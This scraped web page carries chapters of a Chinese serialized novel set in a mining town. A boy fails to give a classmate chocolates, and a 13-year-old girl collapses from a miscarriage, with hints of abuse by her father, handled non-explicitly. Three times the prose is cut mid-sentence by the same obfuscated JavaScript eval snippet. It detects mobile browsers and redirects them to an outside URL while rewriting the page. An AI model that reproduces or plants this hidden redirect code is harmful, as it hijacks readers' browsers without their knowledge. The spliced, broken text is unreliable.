包兰芝又瞥了南雁一眼,目光在她依旧虚按在抽屉上的手上停留了一瞬,终究没再说什么,转身离开了房间。 门“砰”地一声关上,房间里终于恢复了安静。 南雁保持着要开抽屉的姿势,僵在原地,直到包兰芝的脚步声彻底消失在屋外。 南玉在被窝里发出的赌气哼唧声也渐渐小了下去,她才缓缓松了手,嘴角扯出个自嘲的弧度。 好险,差一点,她就要暴露了。 南玉这鼻子真是属狗的,隔了这么久,竟然还能闻出味来。 她扶着桌沿,慢慢坐回椅子上,全身的力气像被抽空,后背已经被冷汗浸湿,贴在身上冰凉。 心脏还在狂跳,带着劫后余生的虚脱感。 仅仅应付这么一次突然发难,就让她如同打了一场硬仗,身心俱疲。 南雁走到窗边,小心翼翼地推开一条小缝,寒冷的夜风立刻灌了进来,吹散了她身上可能残留的巧克力香气。 她贪婪地呼吸着这冷冽干净的空气,试图平息内心的惊涛骇浪。 远处,传来火车的汽笛声,悠长而苍凉,划过沉沉的夜幕。 南雁的目光不由自主地再次投向谢承景家所在的那个方向。 此刻,谢承景在做什么呢?是不是也在灯下学习?是不是也在为了未来努力? ……算了。他在做什么,与她何干? 南雁用力关上窗户。 她和谢承景,本来就是两个世界的人。 他的家人是矿上的技术人员、工程师,住在干净明亮的家属楼,有父母疼,有好的学习条件;而她,只是个在矿区挣扎求生的“孤女”,连几块巧克力都要藏着掖着,生怕引来灭顶之灾 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厨房里那盏昏黄的灯泡,勉强剪出外婆微驼的轮廓。 锅灶上熬着的玉米面粥“咕嘟”着黏稠的气泡,氤氲的热气濡湿了糊着旧报纸的窗户,将那点微弱的天光也隔绝在外。 “哎哟,”外婆端着粥碗转身,蓝布围裙上沾着星星点点的面粉,看见穿戴整齐的外孙,眼角的皱纹都挤成了深壑,“今儿太阳是打西边出来了?瞅瞅这钟点,学校大门怕是还没开呢,你这是急着去给门卫老张头站岗,还是梦游没醒透?” 谢承景正心不在焉地把馒头往嘴里塞,闻言动作一滞,有些干硬的馒头渣霎时呛进喉咙,激得他弓起背一阵撕心裂肺的闷咳,从耳根到脖颈瞬间漫上一层窘迫的红晕,火辣辣地烧着。 “有、有几道数学题,卡、卡住了,想早点去学校……弄明白。” 他垂下眼睫,浓密卷曲的睫毛在眼睑下投出小片不安的阴影,试图遮住眼底那点心虚。 可那无处安放的眼神和越来越红的耳朵,却将他少年人拙劣的掩饰暴露无遗。 外婆何等精明,活了六十多年,什么心思没见过? 她把粥碗往他面前一放,筷子拍在桌上,刚想追问,饭桌对面却传来一声轻响。 一直沉默喝着稀饭的外公抬起眼皮。 老人眼神虽有些浑浊,目光却像经年探入地底的矿灯,在谢承景脸上停顿两秒,没戳破,只放下碗,拿起手边那条厚实的毛线围巾,不由分说地往他脖子上绕了两圈,动作温柔而不容拒绝。 “雾大,裹严实,别仗着年轻就逞强,把耳朵冻掉了,矿上可没处给你配。” 谢承景如蒙大赦,含糊地应了声,几乎是逃也似的,一头扎进了门外那片浓得化不开的晨雾里。 矿区里只有零星几家早点铺子亮着昏黄的灯,像困兽惺忪的睡眼。 蒸笼里冒出的白气奋不顾身地融入雾中,连带着油条和豆浆那点可怜的香气,都被湿冷黏稠的空气吞没、消解。 21. 送不去的铁盒 谢承景觉得,自己这辈子都没走过这么漫长又艰难的路。 起初他还走得飞快,橡胶鞋底碾过冰面,发出急促的“咯吱”声,可越是靠近那扇锈迹斑斑的校门,他的脚步就越发沉重,仿佛有无数双无形的手从冻土中伸出,死死拽住他的脚踝。 最终,他在那棵老槐树下缴械投降。 这棵老槐树,是矿区的活化石,年头比矿区的建立还要久远。 寒冬早已剥光了它曾经茂盛的华盖,只剩下乌黑龟裂的枝桠,倔强而狰狞地戳向灰霾的天空,盘根错节,宛如一张蓄势待发,要将人网罗其中的巨掌。 树皮上刻满了历届学生的名字,那些歪歪扭扭的字迹经过风吹日晒,成了深褐色的疤痕,记录着无数个无疾而终的青春。 谢承景背靠粗糙的树干,寒意透过羽绒服直往骨头缝里钻。 他把手插进外套口袋,紧紧攥住了那个印着花哨外文字母的方形铁盒。 那是叔叔从A国带回来的“松露”巧克力,据说一口能甜得人忘了今夕何夕。 冰凉的金属外壳早已被他手心的汗浸得濡湿温热,尖锐的边角深深硌着掌心肌肤,带来细微的痛感。 但这痛,远不及他心脏狂跳的力道。 那一下下,沉重而迅疾,仿佛濒死的巨兽在胸腔里徒劳冲撞,要撞碎一切桎梏,逃出去。 他在心里把预备好的说辞翻来覆去地演练,嘴唇抿了又抿,几乎要抿出血来。 “早啊,南雁。”——太刻意,活像专门蹲点的流氓,他自己先起了一层鸡皮疙瘩,赶紧把这念头掐了。 “昨天的巧克力,甜吗?合你口味吗?”——蠢透了,万一她说腻呢?或者干脆忘了自己送过巧克力这回事?那岂不是更丢人? 要不,就假装偶遇,漫不经心地塞过去,配上句“我叔买的,甜得齁人,帮我消化一下”?——似乎……稍微自然点?可那颤抖的手怎么掩饰?到时候手一抖,铁盒掉在地上,岂不是更狼狈? 思绪像井下的缆绳,越拧越紧,几乎要崩断。 谢承景平日里的那份从容,此刻荡然无存。 他甚至能听见自己牙关打颤的声音,在这零下的气温里,泄露着所有不堪一击的伪装。 薄雾渐散,学生们像被惊扰的蚁群,从矿区的各个角落涌出。 脚步声,哈气成白雾的喘息声,零星的交谈和缺乏温度的笑闹,混成一片混沌的背景音。 许多目光,好奇的、探究的、不加掩饰的、偷偷摸摸的,或轻或重地落在了槐树下那个过于醒目的身影上。 谢承景今天穿了件崭新的黑色羽绒服,款式是矿区少见的,衬得他身形挺拔,皮肤也更显白皙 “欸,看那边,”有压低的议论声顺着冷风,断断续续地飘过来,“那个‘洋娃娃’,大清早杵在那儿喝西北风呢?” “等人吧?瞧那望眼欲穿的劲儿,跟块‘望妻石’似的。” “等谁?咱这矿校,谁能劳动他谢公子大驾?八成是等筒子楼那边儿的,跟他一样的‘干部子弟’呗。” 谢承景下颌线绷紧,别开脸假装研究树皮上的纹路。可他的目光却不受控制地,一遍遍扫向那条从红砖房区蜿蜒而来的泥泞小路。 他的心就系在那条路的尽头。 每一个从那个方向走来的身影,都让他的心高高提起,又在辨认出不是期待中的人后,猛地沉落。 期待与失望,像井下的升降机,在这寒冷的清晨反复起落,碾压着他紧绷的神经,消耗着所剩无几的勇气。 “哟!这不是咱们的谢大公子吗?今儿怎么有兴致在校门口当起门神了?” 几个穿着臃肿旧棉袄,勾肩搭背的男生晃了过来,像一堵移动的墙。 他们是矿上老工人的子弟,从小在矿区的尘土里摸爬滚打,身上带着股未经打磨的粗粝劲儿。 看见谢承景,几人不约而同地停下了脚步,脸上混合着毫不掩饰的戏谑和排斥。 他们讨厌谢承景那身干净的行头和斯文的模样。 为首的那个叫王茫,个头高大壮实,脸上带着被风砂和劣质烟草磨砺出的粗糙和蛮横,眼神像淬了火的钻头,直勾勾地盯着谢承景:“怎么,在等你的小相好啊?” 谢承景抿紧了薄薄的嘴唇,像是没听见,目光依然固执地投向那条小路。 他不想跟这些人起冲突,来外婆家之前,爸爸妈妈就告诉过他,要友善邻里朋友,真诚相待他人,能避免起冲突就避免。 “啧,人家是‘国际友人’,跟咱们能一样吗?”旁边一个瘦高个阴阳怪气地接话,目光像带着倒刺的钩子,在谢承景那件羽绒服上反复刮擦。 “瞧这行头,这派头,啧啧,是从国外捎来的高级货吧?咱们这些矿上刨食的子弟,祖辈三代攒的钱,怕也买不起这一身吧?穿着这身往这儿一站,跟拍电影似的,演哪出啊?《矿区王子历险记》?” 一阵干瘪的哄笑声响起,在清冷的空气里显得格外刺耳。 谢承景攥着口袋中铁盒的手指猛地收紧。那铁盒坚硬的棱角更深地硌入掌心,带来一阵尖锐的痛感,几乎刺破皮肤。 他抬起眼,瞳孔里像是结了一层西伯利亚的冻土,没什么温度,只是毫无波澜地扫过那几个哄笑的男生,依旧沉默。 这近乎漠然的沉默,反而像一盆冰水,浇在那几声虚张声势的哄笑上,让它们尴尬地悬在寒冷的空气里,迅速冻结,然后碎裂。 王茫自觉没趣,朝谢承景脚边啐了一口并不存在的唾沫,嗤笑一声,那笑声里带着点被无视的恼羞成怒,随后带着人悻悻地走进了校门,临走前还不忘回头瞪他一眼。 雾气终于散尽,稀薄的阳光挣扎着穿透厚重的云层,在老槐树乌黑的枝桠间投下斑驳破碎的光影。 上学的人流渐渐稀疏,校门口变得冷清,像退潮后裸露的滩涂。 谢承景的心,也随着那份喧闹的远去,一点点沉下去。 他是不是来晚了?错过了?还是南雁今天根本就不会从这条路走? 无数个猜测像井下的瓦斯,在他心里悄然聚集,随时可能引爆。 就在他几乎被绝望的淤泥淹没,准备转身离开这自取其辱的等待时,一个熟悉的身影,如同破开迷雾的帆影,终于出现在了那条小路的尽头。 是南雁。 她穿着一件半旧的红色棉袄,颜色洗得有些发白,袖口缝着一圈深色的补丁,却收拾得干干净净。 肩上挎着那个发旧的军绿色书包,带子上还缝着几针明显的线脚,鼓鼓囊囊的,随着她沉稳的步伐有节奏地轻轻晃动。 她走得不快,微微低着头,额前细碎的刘海遮住了部分眉眼,像是在专注地思考着什么,又像是习惯了这路的坎坷与污浊,每一步都走得认真而用力,踩碎了地上的薄冰,留下一个个清晰的脚印。 谢承景的心剧烈地抽搐了一下,仿佛下一秒就要撞破胸腔,带着滚烫的血,跃到这冰冷的地面上。 所有的犹豫、胆怯、自我否定,在这一刻都被那股汹涌而来的热流冲散。 他下意识地挺直了原本微驼的背脊,像是接受命运检阅的士兵,手在口袋里把那个铁盒攥得死紧。 南雁走近了,直到距离几步之遥,似乎才察觉到树下有人,才感受到那束过于灼热的目光。 她抬起头,目光与谢承景相遇的瞬间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528177|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显地愣了一下,脚步微顿,握着书包带子的手指紧了紧。 她的眼睛很大,瞳仁是纯粹的墨黑,在渐渐明亮的晨光中,像两丸被深井寒水浸过的黑曜石,清澈,沉静,深不见底,还有警惕与审度。 “早啊。”谢承景几乎是抢着开口,他甚至能感觉到自己的声音在发抖,连带着肩膀都有些僵硬。 南雁停下脚步,站在离他几步远的地方,声音像山涧平稳流淌的溪水:“早。你……在这里等人?” “嗯……算是吧。”谢承景感觉自己的耳朵又开始不受控制地烧起来,火势蔓延到脸颊,连耳根都红透了。 他强迫自己接上那条演练过无数次,却依旧磕绊的线路,“那个,昨天的巧克力……你觉得,好吃吗?” 话一出口,他恨不能时间倒流。 这问题简直蠢钝如猪,像个眼巴巴等着大人赏颗糖吃,还把心思全写在脸上的傻孩子! 他几乎能听到身后那些尚未散尽的嘲笑,能想象出南雁可能会露出的为难表情。 她要是说不好吃,他该怎么接话?要是说忘了吃,又该怎么办? 南雁似乎没料到他会追问这个,唇线轻轻一抿,点了点头,算是回答:“很好吃。多谢。” 话音落下,沉默便如冷雾般弥漫开来,比冬日清晨的寒风更砭人肌骨。 谢承景搜肠刮肚,却找不到任何可以接续的话题。他像个蹩脚的演员,忘光了所有台词,只能尴尬地站在原地,任由沉默将他凌迟。 南雁侧头望了眼已不再拥挤的校门,她的语气依旧没什么波澜,带着催促:“你不进去吗?要打铃了。” “进,这就进。”谢承景连忙应声,心却在胸腔里疯狂地擂鼓、叫嚣,声音大得他怀疑南雁也能听见——机会稍纵即逝,谢承景,你还在等什么? 他几乎是凭着本能,从口袋里掏出那个被体温焐得滚烫的铁盒,动作快得扯歪了书包带,整个人显得狼狈又慌乱:“这个……给你。” 南雁的目光落在那印着陌生文字,样式精致的铁盒上,没有接。 她眉梢蓦地一蹙:“这是什么?” “也是巧克力,不一样的口味。”谢承景强作镇定,声音却有些轻颤,“我叔叔塞给我的,实在太多,我一个人吃不完。” 南雁的视线在铁盒与他微微发抖的手之间停留了一瞬,那双清凌凌的眼里,掠过一丝极淡的复杂。 “谢谢,”她声音轻而坚定,“但这太贵重了,我不能收。” “不贵!真的,就是普通巧克力!”谢承景急了,手悬在半空,进退两难,脸颊烧得滚烫,“你尝尝看,不喜欢再还我也行……” 南雁看着他固执举着的手,又看向他那双写满恳切与不安的眼睛,静默了几秒。 那几秒,对谢承景而言,漫长得像被拉长的胶片。 最终,南雁还是摇头,语气覆上一层薄霜:“昨天的,已经谢过了。这个,你自己留着。”她顿了顿,目光在他扎眼的羽绒服上一掠而过,“别辜负你叔叔的心意。” 说完,她不再给他开口的机会,侧身绕过他,加快脚步,头也不回地走向教学楼。 那抹洗得发白的红色,决绝地汇入稀疏人流,消失在楼梯拐角的阴影里。 谢承景满腔孤勇筑起的堡垒,像被掺着冰碴的冷水兜头浇灭,只剩一片狼藉的冰冷。 他愣在原地,手里紧紧攥着那个送不出的铁盒。金属的冰冷此刻才透过皮肤,一丝丝渗入血液,冻僵了指尖。 他看着空荡荡的拐角,喉结艰难滚动。 失落、难堪、挫败……如同冰冷暗流,将他彻底淹没。 “南雁!” 22. 晕倒 谢承景回过神,几乎是身体先于意识追了上去,三两步赶到南雁身边,与她并排走着,中间隔着一段礼貌的距离。 “那个……下个月的数学竞赛,你准备得怎么样了?” “还在看。”南雁的脚步没有停,目视前方。 “我……我有些从国外带回来的复习资料,感觉思路挺新的,有些例题也挺典型。你要是需要……我们可以一起复习。互相讨论,效率……可能能高一点。” 南雁终于转过脸,目光沉静地落在他脸上:“谢谢,但我觉得可能不太适合我。” 教学楼的大门像一道界限,跨进去,喧嚣的热浪便扑面而来。 嘈杂的人声、粉笔灰与早餐混杂的气味,瞬间淹没了室外清冷的空气。 走廊、教室里挤满了人。追逐的身影,聚堆的谈笑,埋首疾书的背影。 无数道目光像被磁石吸引,齐刷刷地钉在他们两人身上。 “快看,南雁居然跟那个谢承景走在一起?” “她怎么会认识他?八竿子打不着啊!” “人家是同桌呀!” “切!这还用问?瞧那洋鬼子那眼神,肯定是看上南雁了呗!” “癞蛤蟆想吃天鹅肉?也不看看自己哪儿来的……” “谁沾上他谁倒霉,南雁也躲不过?” “嘘!小声点!不过南雁怎么会搭理他?” 议论声,像一群嗡嗡作响的蚊蝇,无孔不入地钻进耳朵。 南雁的眉头蹙得更紧了,她加快了脚步,不动声色地再次与谢承景拉开了更远的距离。 快到教室门口时,南雁偏过头,用低得几乎只有两人能听见的声音,飞快地说了一句:“快打铃了,走吧。” 话音未落,门已被她推开。 她侧身融入教室的光影里,将谢承景,连同门外所有粘稠的探究与低语,干脆地隔绝在外。 谢承景僵在走廊明晃晃的灯光下,手里那个始终没送出的铁盒,沉甸甸地坠着,一直坠进冰冷的底里。 周遭所有的喧闹,在这一刻,戛然而止。 * 深秋的午后,阳光像融化的蜂蜜,懒洋洋地淌在教学楼的红砖墙上。 操场上的寂静被尖锐的哨声划破。 体育老师老张叉着腰站在跑道外侧,军绿色外套衣角被风掀得翻飞。 他目光扫过跑道上一张张挂着薄汗的脸,喊道:“坚持住!还有两圈!跑齐了!别跟没骨头似的!” 队伍像一条垂死的蚯蚓,在跑道上痛苦地蠕动。 学生们裹着各式各样的运动服,脚步声杂七杂八,在跑道上碾出细碎的响动,混着风里的桂花香,竟有种说不出的慌乱。 队伍的末尾,一个瘦弱的身影渐渐落后。 林菲的呼吸越来越急促,墨绿色的运动装在她身上空荡荡地挂着,仿佛一阵风就能将她连根拔起。 苍白的脸上沁出细密的冷汗,顺着鬓角滑落,在下颌处汇成水珠,滴落在衣领上。 每迈出一步,小腹都像是被钝器重击,一阵阵撕裂的痛楚搅得她胃里翻江倒海,恶心感直往喉咙口冒。 “你没事吧?”南雁从旁边靠过来,看见林菲的脸色不太好,眼神也有些散,连忙放慢脚步,“要不跟老师说一声,先去旁边歇会?” 林菲勉强摇了摇头,下唇被牙齿咬出一道红印,渗出血丝也没松口。 她想把步子迈得大些,可腿像灌了铅,每一次抬起都像要耗光全身力气。 她的视线开始模糊,跑道的颜色在她眼中渐渐褪成一片灰白。 就在她感觉自己即将瘫软在地时,教学楼方向突然传来一阵急促的脚步声。 班主任李青几乎是狂奔而来,藏青色的围巾歪斜地挂在脖子上,精心打理过的短发被风吹得凌乱不堪。 她手里紧紧攥着一个牛皮纸文件夹,面色凝重地朝着张建军招手。 张建军眉头紧锁,看了眼还在艰难前进的队伍,转头冲着体育委员吼道:“王磊!你带队继续跑!保持队形,不许停!谁敢停一步,今天加练五圈!” 两人走到操场边的香樟树下,树荫把阳光滤成碎斑,落在李青手里的表格上。 “怎么回事?”张建军压低声音问道。 “张老师,有个事得跟你说……”李青刚抽出表格,还没来得及展开,跑道那边突然炸起一声惊叫:“老师!有人晕倒了!” 原本松散的队伍瞬间乱了。 学生们涌过去,围成个密不透风的圈,七嘴八舌的声音裹着慌乱响起:“是林菲!” “她怎么倒了?” “脸好白啊!” “刚才还好好的,怎么突然就晕了?” 张建军拨开人群冲过去,军绿色外套被人扯得歪到一边也没顾上,膝盖“咚”地砸在跑道上,蹭出一道灰印,疼得他龇牙咧嘴,都没功夫去揉。 他蹲下身,目光落在林菲的裤子上,心猛地一沉。 林菲双目紧闭,墨绿色的运动裤上,一片暗色正以肉眼可见的速度晕开,像朵狰狞的花,盛开在绿草丛中。 “都让开!别围着!喘不上气了!”张建军声音发紧,伸手轻轻拍打林菲的脸颊,指腹触到她的皮肤,凉得像块冰。 “林菲?能听见吗?林菲!”他喊了两声,女孩没任何反应,嘴唇抿成条苍白的线,连呼吸都弱得几乎感觉不到。 张建军没再犹豫,一手托着林菲的肩,一手揽住她的膝弯,打横抱起来就往医务室跑。 林菲太轻了,抱在怀里像片羽毛,张建军甚至能摸到她突出的脊椎骨,硌得他胳膊疼。 风灌进张建军的衣领,带着深秋的寒意,可他额头上的汗却越冒越多,顺着脸颊往下滴。 李青紧随其后,她一边跑一边冲围观的学生喊:“都回教室!体育委员把队伍带回去!谁再在这围着,明天罚抄校规十遍!” 她的声音有点抖,不是怕,是慌——林菲这孩子,平时话不多,总是安安静静地坐在教室角落,作业写得工工整整,连标点符号都透着认真,成绩在班里中游,不惹事,不显眼,怎么会突然这样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543232|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生们愣了愣,慢慢散开,南雁回头望了眼张建军跑远的方向,那片暗红在视线里越来越小,却像根刺,扎得她眼睛发涩。 医务室的门被撞开,校医王姐正在整理药柜,听见动静抬头,手里的药瓶差点掉在地上。 她看见张建军抱着个人冲进来,连忙放下手里的东西迎上去:“怎么了这是?” “王医生!快看看她!”张建军把林菲放在检查床上。 王姐迅速拉上隔帘,动作利落地掀开林菲的外套,当看到运动裤上的暗红时,她的眉头瞬间皱紧,手指搭在林菲的腕上,又俯身用手电筒照了照她的瞳孔,声音沉下来:“什么时候开始的?晕倒前有什么症状?” “就刚才,跑步的时候突然晕倒。”李青喘着气进来,额头上全是汗,她看着白色隔帘后的林菲,心里揪得慌。 她突然想起林菲最近总是趴在桌上,课间也不出去,问她是不是不舒服,只摇摇头说没事;吃饭的时候也总是扒拉两口就放下筷子,说没胃口;有时上课会走神,眼神飘向窗外,她还以为是学习压力大,没当回事——现在想来,那些都是信号啊。 王姐解开林菲的运动裤,手指在那片暗红边缘轻轻碰了碰,又用棉签蘸了点,放在灯下看了看。 她的脸色突然变得凝重,直起身转向李青,低问:“知道她月经时间吗?最近来了没有?” 李青一愣,没反应过来:“啥意思?” 王姐没直接回答,而是走到门口,把还在探头探脑的张建军赶了出去:“张老师,你去操场盯着学生,这里不用你帮忙。” 等张建军走了,她才转过身,看着李青错愕的表情,慎重地说:“她的出血量不像是来月经,但我也不敢确定,为了保险起见还是通知家长送卫生所。” 她顿了顿,伸手从抽屉里拿出无菌纱布和止血棉,“我打电话叫人,李老师,你赶紧联系她家长,越快越好。” 李青眼睛瞪得圆圆的,嘴张了张,半天没说出话来:“啥意思?这不可能啊!她才十三岁!还是个孩子!” 李青的手攥紧了文件夹,王校医的言外之意,她怎么会不明白? 可林菲才十三岁,本该是围着操场追着蝴蝶跑的年纪,怎么会遇到这种事? “会不会是初潮?”李青抱着最后一丝侥幸,声音都带了颤,“她第一次来,可能自己也不知道,加上跑步太剧烈,所以出血量有点多?” “初潮不会这么疼,出血量也不会这么多,颜色也不对。而且我把过脉了,情况很复杂,必须马上送卫生所做检查。” …… 王磊是班里出了名的“飞毛腿”,校运会上拿过短跑冠军的。此刻,他受班主任李青的重托,像一支离弦的箭,冲出校门,直奔林菲家所在的矿工家属区。 矿区坑洼的土路限制了王磊的发挥,等他到了林菲家前,撑着膝盖,喘着粗气,抬手“哐哐”砸门时,回应他的只有门板的空洞回声,还有隔壁院里隐隐传来的狗吠。 门上了锁,冰冷的铁锁挂在外面,家里没人。 23. 探望 王磊心里“咯噔”一下,林菲毫无血色的脸在他眼前一闪而过。 他不敢耽搁,突然想起一个地方——矿区女人们最爱扎堆扯闲篇的露天坝,那儿有棵遮天蔽日的老槐树,女人们拎着小马扎、揣着瓜子在树下,张家长李家短的闲话,比矿上的广播站传得还快。 林菲的妈张小英,更是这儿的常客。 他调转方向,又是一阵狂奔。 绕过堆着废弃矿车的岔路口,远远就看见了那棵繁茂的老槐树,以及树下那几个簇拥在一起的身影。 果然在那儿! 张小英——林菲的妈妈,正裹着一件半旧不新的藏蓝色外套,坐在自带的小马扎上,混在几个同样打扮的大妈中间。 她手里抓着一把瓜子,一边麻利地嗑着,一边听着旁边一个胖大妈眉飞色舞地说着什么,嘴角还挂着一丝心不在焉的笑意。 脚边的地上,已经积了一小堆瓜子皮。 “张婶!张婶!你家林菲出事了!”王磊人还没到,嘶哑的喊声先冲了过去。 树下的叽喳戛然而止。七八张脸同时转过来,目光里掺着惊诧与探寻。 张小英刚扔进嘴里的瓜子顿住,腮帮子鼓着,眼神直勾勾地钉在狂奔而来的王磊身上。 愣了两秒,她才吐出瓜子皮,手里的瓜子“哗啦”撒了一地,她猛地起身,带歪了小马扎:“她咋了?是不是又跟后山那帮混小子打架了?还是逃课去矿坑边野了?” “都不是!”王磊冲到她跟前,一把拽住她的胳膊就往卫生所方向跑,少年人急红了眼,手劲大得捏得张小英胳膊生疼,“上体育课的时候晕倒了!李老师抱着她往矿卫生所跑,让我赶紧找您过去!” “晕倒?”张小英的声音突然发颤,脚步踉跄了一下,方才聊闲天的精气神全没了,眼里的慌意像潮水似的涌上来,抓着王磊的袖子追问:“她早上出门还好好的,说早饭喝了两碗粥……是不是低血糖?还是昨天写作业熬太晚了?我就说让她别熬夜,她偏不听……” “您到卫生所就知道了!再晚就来不及了!”王磊拽着她跑得飞快,张小英的外套被风吹得猎猎作响,她甚至顾不上跟旁边目瞪口呆的姐妹们交代一句,满脑子都是“晕倒”两个字,脚下像踩了棉花,好几次差点绊倒。 路过供销社时,张小英的脚步本能地滞涩一瞬。 昨天林菲写作业时还嘟囔橡皮快用完了……她本想今天下班来买。 可现在,什么橡皮,什么闲话,什么晚上要炖的红烧肉,都被“卫生所”三个字碾得粉碎。 远处卫生所的白墙已经能看见,门口挂着的红十字在夕阳下晃得人眼晕。 张小英甩开王磊的手,几乎是跌跌撞撞地冲过去,声音都变了调:“菲菲!菲菲在哪?” 守在抢救室外的李青和校医王姐闻声心头一紧,快步上前扶住她。 李青刚想开口安抚,抢救室的门“咔哒”一声开了条缝,一位戴口罩的医生探出身,白大褂下摆沾着几点暗红血渍,那颜色看得人心头发紧。 “谁是林菲家属?”他声音透过口罩传出来,急切道,“患者是妊娠八周流产导致的大出血,B型血,血库现存的库存只够应急,需要立即联系血站调血。你们谁能签字?” 张小英脸上的血色霎时褪尽,双腿一软,若非李青和王姐一左一右架住,她当场就能瘫下去。 “不可能……弄错了……肯定弄错了……”她嘴唇哆嗦着,语无伦次,“早上还好好的……说晚上要吃红烧肉……怎么会进抢救室?是不是有人欺负她了?我女儿那么乖……天天上学放学……晚上就在屋里写作业……怎么可能……怎么可能……” 声音猛地哽住,眼泪毫无征兆地滚落,她攥着李老师匆忙递来的纸巾,浑身抖得如同风中枯叶。 “现在不是纠结这个的时候。”医生把同意书和笔递到她面前,语气严肃,“患者的血压还在降,再等下去就来不及了。请您尽快签字,我们才能继续治疗。” 张小英的手颤抖得不成样子,笔尖在纸上划出几道歪扭的痕迹,才勉强签下名字。 签完字,她像被抽空了所有力气,瘫坐在长椅上,双手掩面,肩膀剧烈耸动:“这不可能...…一定是误诊...…菲菲从小就懂事,怎么会做这种糊涂事...…是我没看好她,是我每天忙着上班,没发现她的不对劲...…” 输血袋挂了起来,暗红色的血液顺着透明的管子,一滴滴缓慢地流入林菲的身体。 抢救室里,心电监护仪规律的“滴滴”声,如同催命的钟摆。 这事太过私密,李青让王磊先回学校,自己则坐在张小英身边,轻声问:“林菲最近有没有什么异常?比如胃口不好、情绪低落,或者...…提过什么男生的名字?” 张小英茫然摇头,泪水浸湿了纸巾:“没有...…她一直都很好,就是最近总说胃口差,吃一点就饱,我以为是她学习太累了,还炖了鸡汤给她补身子...…还有,她晚上总关着门写作业,我以为是怕打扰我,现在想想,她是不是在里面偷偷哭?我还骂过她,说她关门关得太紧,不像个省心的……” 她突然抓住李青的手,眼神哀恸得近乎疯狂:“李老师,这一定是误诊对不对?是不是把别的病人的检查报告弄混了?我女儿不会做这种事的,她才十三岁啊...…连男生手都没牵过……” 李青看着她崩溃的样子,心里像堵了一团棉花,安慰的话一句也说不出口。 她想起林菲每次回答问题时怯生生的样子,想起她帮同学捡笔时会先把笔尖朝自己,想起她作文里写“想当一名医生,治好妈妈的咳嗽”,怎么也没法把那个文静又温柔的女孩,和“妊娠流产”这几个冰冷的词联系在一起。 时间在消毒水的气味里缓慢爬行,走廊挂钟的“滴答”声,每一下都敲在人心上。 三个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548429|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时后,抢救室的门再次打开。 医生摘下口罩,眼底布满血丝,连声音都带着无法掩饰的疲惫:“血止住了。患者暂时脱离危险,但失血过多导致身体极度虚弱,后续需要长时间静养,而且...…心理状态也需要关注,家属多开导开导,别刺激她。” 林菲被推出来时已经醒了,她躺在病床上,脸色苍白,嘴唇干裂起皮,连呼吸都透着虚弱。 她眼神空洞地望着天花板,无论张小英如何哽咽着呼唤她的名字,她都拒绝与任何人对视,像一只受惊过度,将自己紧紧封闭起来的蚌壳。 转入普通病房后,林菲更是彻底沉默了。 张小英在一旁演尽了悲喜。时而捶打着床沿,哭嚎“我造了什么孽养出你这么个东西”;时而又压低声音,近乎哀求地哄劝“你说出来,妈不怪你,妈给你做主”;时而又面目狰狞地威胁“你再不吭声,我就去学校闹,让所有人都知道你干的丑事”! 林菲始终面朝墙壁,后背绷得像块铁板,眼皮都没多抬一下,像个抽走了灵魂的瓷娃娃,只剩下一具苍白、安静、会呼吸的躯壳。 在这片令人窒息的沉默里,林菲的爸爸林恩华的存在,反倒成了唯一一点看似正常的色彩。 他是矿上的掘井工,常年在暗无天日的井下劳作,身上总带着洗不尽的尘土与寒意。 每次下工,他都径直赶来卫生所,工装都来不及换,手里不是拎着封面花哨的言情小说,就是揣着几个苹果,然后坐在床边,笨拙地拿起水果刀。 他削苹果的手法很生涩,苹果皮断了好几次,好不容易削完,切成瓣码在饭盒盖里,晶莹剔透的,可往往放到氧化发黄,也等不来女儿碰一下。 最怪的还在守夜这事上。 白天林恩华在病房里待着,林菲虽不言语,尚算平静;可一到晚上,只要林恩华流露出丝毫留下的意图,林菲就像被点了引信的炮仗,整个人瞬间炸开来,歇斯底里地哭闹,抓起枕头砸向他,甚至疯狂地去拔手背上的输液针,尖叫声撕裂病房的宁静:“你走!滚出去!我不想看见你!你再不走我就死!我死给你看!” 夫妻俩面面相觑,终究拗不过女儿这股狠劲。 无奈,只得换成林恩华守白天,张小英守夜晚。 每次林恩华在夜幕中离开时,总会停在病房门口,回头望向女儿那道固执的背影,黝黑的脸上情绪翻涌,最终化作一声沉重的叹息,融入外面的黑暗。 班主任李青心里揣着个沉甸甸的谜团,只要没课,就会拎着作业本过来探望。 她坐在床边,绞尽脑汁地说些学校的趣事,偶尔小心翼翼地旁敲侧击:“林菲,上次你说想借的那本《城南旧事》,老师给你带来了,你要不要看?” 